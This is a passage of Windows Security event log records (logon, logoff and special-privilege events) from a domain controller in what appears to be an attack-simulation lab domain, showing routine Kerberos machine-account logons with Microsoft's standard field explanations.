	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248591
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBB141

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248590
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBB0C6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248589
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBB0C6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		63967

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248588
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBB0C6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248587
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBB095

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248586
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBB095
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63966

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248585
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBB095

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248584
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBAFE7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248583
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBAFD8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248582
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBAFE7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		63965

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248581
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBAFE7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248580
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBAFD8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63964

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248579
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBAFD8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248608
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBC710

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248607
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBC710
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63973

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248606
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBC710

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248605
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBC6A5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248604
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBC6A5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63972

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248603
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBC6A5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248602
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBC633

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248601
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBC633
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63971

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248600
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBC633

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248599
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBC5C8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248598
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBC5C8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63970

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248597
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBC5C8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248620
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDC1B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248619
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDC1B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63977

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248618
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDC1B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248617
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDBAA

Logon Type:			3

